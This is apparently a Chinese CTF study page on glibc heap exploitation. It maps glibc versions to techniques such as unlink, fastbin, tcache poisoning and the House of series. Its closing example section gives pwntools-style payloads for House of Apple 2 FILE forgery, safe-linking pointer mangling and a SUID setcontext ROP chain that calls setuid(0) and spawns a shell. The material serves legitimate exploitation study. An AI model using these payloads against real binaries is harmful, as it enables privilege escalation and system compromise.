堆漏洞利用

PWN · 知识域。glibc 堆(ptmalloc)漏洞利用全家族。标签:Unlink、Fastbin Attack、Unsorted Bin Attack、Large Bin Attack、Tcache Attack、Tcache Stashing Unlink。

触发特征

  • 菜单式:create/delete/edit/show + UAF/DF/越界写/溢出。
  • 先问三件事:glibc 版本(决定 tcache 语义)、有无 show(泄露通道)、有无 edit(写通道)。

版本地图

glibc 关键变化
2.23 无 tcache,fastbin/unsorted 时代经典
2.26 tcache 引入(7 个/桶,无 size 校验)
2.29 tcache double-free 检测(key 字段)
2.32 fd 指针异或加密(protection)
2.34 移除 __free_hook/__malloc_hook,转 FSOP/exit handlers
2.35+ House of Apple 2 / cat / potion 系
  • 经典 unlink 攻击:伪造 fd/bk 满足 fd->bk = p && bk->fd = p → 全局指针指向自身,后续 edit 改任意地址(DEF CON Qualifier 2014 自定义分配器到 GOT)。
  • 现代变体:global 最大 chunk 指针数组 + top chunk 合并(SECCON 2016 unsafe unlink 到 BSS)。
  • talloc 池头伪造任意读写(Boston Key Party 2016)。

Fastbin Attack

  • fastbin double free(bypass 检测:两个不同 chunk 间插一个)→ 分配到伪造 chunk。
  • 目标:GOT、__malloc_hook 附近(size 伪造 0x7f 对齐技巧)、栈。
  • LSB-only 污染:文件名正则限制下仅改堆指针低位(BSIDSSF 2019);跨桶晋升 tcache→fastbin(BCTF 2018);stdout vtable 两段劫持破 PIE+Full RELRO(ASIS CTF 2017)。
  • musl libc:meta 指针 + atexit(UNbreakable 2026)。

Unsorted Bin Attack

  • 改 victim 的 bk 指向目标-0x10 → 目标地址写入 main_arena 地址(libc 泄露或写大值)。
  • 现代用法:打 stdin _IO_buf_end(HITCON 2017);经 mp_ 结构破坏 unsorted(HITCON 2017)。
  • calloc chunk 的 IS_MMAPPED 位翻转造 unsorted 泄露(0CTF 2017)。

Large Bin Attack

  • largebin 插入时 bk_nextsize 写原语:向任意地址写堆地址 → 为 FSOP 铺路(打 _IO_list_all 指向伪造 FILE)。
  • 残留指针泄露:picoCTF 2018 未清零 chunk。

Tcache Attack

  • tcache poisoning:改 next 指针 → 任意地址分配;2.32+ 需先泄露堆地址算异或保护(GF(2) 高斯消元多次投毒,Midnight Flag 2026;指针解密泄露)。
  • tcache double free:key 字段清零绕过(2.29+);隐藏菜单选项触发(FireShell 2019)。
  • tcache stashing unlink attack:smallbin 取走后剩余 chunk 经 tcache 放置,bk+0x10 写原语打 _IO_2_1_stdout_ 等。
  • strcpy null 字节溢出 + 后向合并(HITCON 2018);单字节引用计数下溢 UAF(WhiteHat Grand Prix 2018)。
  • 菜单堆题 UAF:menu strdup/free 顺序差(PlaidCTF 2016);realloc(ptr,0) 当 free(AceBear 2018)。

House of 系列(按目标版本选)

  • House of Force(2.28 前):改 top chunk size 巨大 → malloc 到任意地址(CSAW CTF 2016)。
  • House of Orange:无 free 的程序靠 top 耗尽触发 _int_free → FSOP 起点。
  • House of Einherjar:off-by-null 触发后向合并伪造 chunk(0xFun 2026)。
  • House of Lore:smallbin 伪造 bk。
  • House of Spirit:伪造 fastbin chunk 释放再分配。
  • House of Apple 2(2.34+ 主流):伪造 _IO_FILE 走 _IO_wfile_overflow → setcontext+61 ROP;SUID 变体 setcontext(Midnight Flag 2026)。
  • House of Cat / Secretgun 等:_IO_wfile 链系变体。

应用层堆操控

  • 应用级 heap grooming:用业务操作(而非 malloc 调试)码堆(Codegate 2013)。
  • mmap/munmap size 不匹配造线程栈重叠 UAF(0CTF 2017);Go 切片容量别名结构拷贝(CONFidence Teaser 2019);GF(2^8)/应用层组合见场题。

工具速查

pwndbg: heap / bins / vis               # 查看堆布局
libheap / heap-viewer; gdb-gef: heap-analysis-helper
patchelf 换 libc 复现; libc-database 找版本

其他堆管理器

  • musl libc:meta 指针结构 + atexit 利用(UNbreakable 2026)——无 tcache/fastbin 体系,套路完全不同。
  • 自定义分配器:题目自带 malloc/free(常见于游戏/VM 题)——unlink 校验往往缺失,unsafe unlink 直接打(DEF CON Qualifier 2014);talloc 池头伪造(Boston Key Party 2016)。
  • Windows 堆(NT heap/LFH):堆喷占位 + LFH 重用,见 渗透测试-漏洞利用 实战差异节。
  • 判定:先看二进制是否静态链接 malloc / 是否带自定义 arena;题目"内存池/对象池"字样即提示自定义管理器。

转向

例题

House of Apple 2 完整结构(glibc 2.34+)

完整链:UAF → unsorted bin 泄 libc → safe-linking 泄堆 → tcache 投毒到 _IO_list_all → 伪造 FILE → exit 触发:

fake_file = flat({
    0x00: b' sh\x00',           # _flags:" sh"  → system(fp) 的命令
    0x20: p64(0),               # _IO_write_base = 0
    0x28: p64(1),               # _IO_write_ptr = 1 (> base 才走 overflow)
    0x88: p64(heap_addr),       # _lock:合法可写地址即可
    0xa0: p64(wide_data_addr),  # _wide_data
    0xd8: p64(io_wfile_jumps),  # vtable = _IO_wfile_jumps(过 vtable 校验)
}, filler=b'\x00')

fake_wide_data = flat({
    0x18: p64(0), 0x30: p64(0),
    0xe0: p64(fake_wide_vtable_addr),   # _wide_vtable(宽字符 vtable 不校验!)
})

fake_wide_vtable = flat({ 0x68: p64(libc.sym.system) })   # __doallocate 偏移

触发链:exit() → _IO_flush_all_lockp → _IO_wfile_overflow → _IO_wdoallocbuf → system(fp),而 fp 开头是 " sh\x00"。

Safe-linking 手工混淆(glibc 2.32+)

tcache 的 fd 指针已加密,投毒时必须自己算:

mangled_fd = target_addr ^ (current_chunk_addr >> 12)
# 反向泄露:free 后 fd = 0,读出的 mangled NULL = chunk_addr >> 12 → 直接得到堆基址页

SUID 场景变体:system 换 setcontext(Midnight Flag 2026)

SUID 程序里 system("/bin/sh") 会被 dash 因 uid != euid 丢权——把宽 vtable 目标换成 setcontext+61,先 setuid(0) 再 shell:

fake_wide_vtable = flat({ 0x68: p64(libc.sym.setcontext + 61) })
# setcontext 从 RDX(= fp->_wide_data)偏移处取寄存器:
fake_wide_data = flat({
    0x68: p64(0),                     # RDI = 0 → setuid(0)
    0xa0: p64(rop_chain_addr),        # RSP
    0xa8: p64(libc.sym.setuid),       # RIP(第一跳)
    0xe0: p64(fake_wide_vtable_addr),
})
rop = flat([pop_rdi_ret, 0, libc.sym.setuid, libc.sym.system,
            next(libc.search(b'/bin/sh\x00'))])

关键认知:setcontext 是万能栈迁移器——RSP/RDI/RIP 全部从可控内存加载;FILE 体系 + setcontext 是 2.34+ 时代堆题的标准终局。

评论